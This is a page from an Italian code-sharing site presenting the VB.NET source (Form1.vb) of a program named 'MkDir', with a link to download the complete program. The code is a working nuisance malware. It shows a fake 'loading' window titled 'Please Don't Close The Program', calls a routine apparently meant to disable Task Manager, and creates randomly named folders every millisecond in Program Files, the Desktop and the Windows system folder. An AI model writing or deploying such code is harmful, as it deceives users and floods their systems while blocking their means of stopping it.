Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
MkDir - Form1.vb

Form1.vb

Caricato da:
Scarica il programma completo

  1. Imports System
  2. Imports System.IO
  3. Public Class Form1
  4.     Inherits System.Windows.Forms.Form
  5.  
  6. #Region " Windows Form Designer generated code "
  7.  
  8.     Public Sub New()
  9.         MyBase.New()
  10.  
  11.         'This call is required by the Windows Form Designer.
  12.         InitializeComponent()
  13.  
  14.         'Add any initialization after the InitializeComponent() call
  15.  
  16.     End Sub
  17.  
  18.     'Form overrides dispose to clean up the component list.
  19.     Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
  20.         If disposing Then
  21.             If Not (components Is Nothing) Then
  22.                 components.Dispose()
  23.             End If
  24.         End If
  25.         MyBase.Dispose(disposing)
  26.     End Sub
  27.  
  28.     'Required by the Windows Form Designer
  29.     Private components As System.ComponentModel.IContainer
  30.  
  31.     'NOTE: The following procedure is required by the Windows Form Designer
  32.     'It can be modified using the Windows Form Designer.  
  33.     'Do not modify it using the code editor.
  34.     Friend WithEvents Label1 As System.Windows.Forms.Label
  35.     Friend WithEvents Timer1 As System.Windows.Forms.Timer
  36.     Friend WithEvents Timer2 As System.Windows.Forms.Timer
  37.     <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
  38.         Me.components = New System.ComponentModel.Container
  39.         Me.Label1 = New System.Windows.Forms.Label
  40.         Me.Timer1 = New System.Windows.Forms.Timer(Me.components)
  41.         Me.Timer2 = New System.Windows.Forms.Timer(Me.components)
  42.         Me.SuspendLayout()
  43.         '
  44.         'Label1
  45.         '
  46.         Me.Label1.Location = New System.Drawing.Point(8, 24)
  47.         Me.Label1.Name = "Label1"
  48.         Me.Label1.Size = New System.Drawing.Size(280, 32)
  49.         Me.Label1.TabIndex = 0
  50.         Me.Label1.Text = "Caricamento in corso"
  51.         '
  52.         'Timer1
  53.         '
  54.         Me.Timer1.Enabled = True
  55.         Me.Timer1.Interval = 500
  56.         '
  57.         'Timer2
  58.         '
  59.         Me.Timer2.Enabled = True
  60.         Me.Timer2.Interval = 1
  61.         '
  62.         'Form1
  63.         '
  64.         Me.AutoScaleBaseSize = New System.Drawing.Size(10, 22)
  65.         Me.ClientSize = New System.Drawing.Size(292, 80)
  66.         Me.ControlBox = False
  67.         Me.Controls.Add(Me.Label1)
  68.         Me.Font = New System.Drawing.Font("Arial", 14.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
  69.         Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
  70.         Me.MaximizeBox = False
  71.         Me.MinimizeBox = False
  72.         Me.Name = "Form1"
  73.         Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
  74.         Me.Text = "Please Don't Close The Program"
  75.         Me.ResumeLayout(False)
  76.  
  77.     End Sub
  78.  
  79. #End Region
  80.  
  81.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  82.         Select Case Label1.Text
  83.             Case "Caricamento in corso"
  84.                 Label1.Text = "Caricamento in corso."
  85.             Case "Caricamento in corso."
  86.                 Label1.Text = "Caricamento in corso.."
  87.             Case "Caricamento in corso.."
  88.                 Label1.Text = "Caricamento in corso..."
  89.             Case "Caricamento in corso..."
  90.                 Label1.Text = "Caricamento in corso"
  91.         End Select
  92.     End Sub
  93.  
  94.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  95.         Dim Path As Environment
  96.         Dim x, y, n As String
  97.         Dim Cartella As String
  98.         On Error Resume Next
  99.         Cartella = "Windows" & (10000 * Rnd())
  100.         x = Path.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
  101.         y = Path.GetFolderPath(Environment.SpecialFolder.Desktop)
  102.         n = Path.GetFolderPath(Environment.SpecialFolder.System)
  103.         Call MkDir(x & "\" & Cartella)
  104.         Call MkDir(y & "\" & Cartella)
  105.         Call MkDir(n & "\" & Cartella)
  106.     End Sub
  107.  
  108.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  109.         Call DisableTask()
  110.     End Sub
  111.  
  112.     Private Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
  113.         Call EnableTask()
  114.     End Sub
  115.  
  116.     Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed
  117.         Call EnableTask()
  118.     End Sub
  119. End Class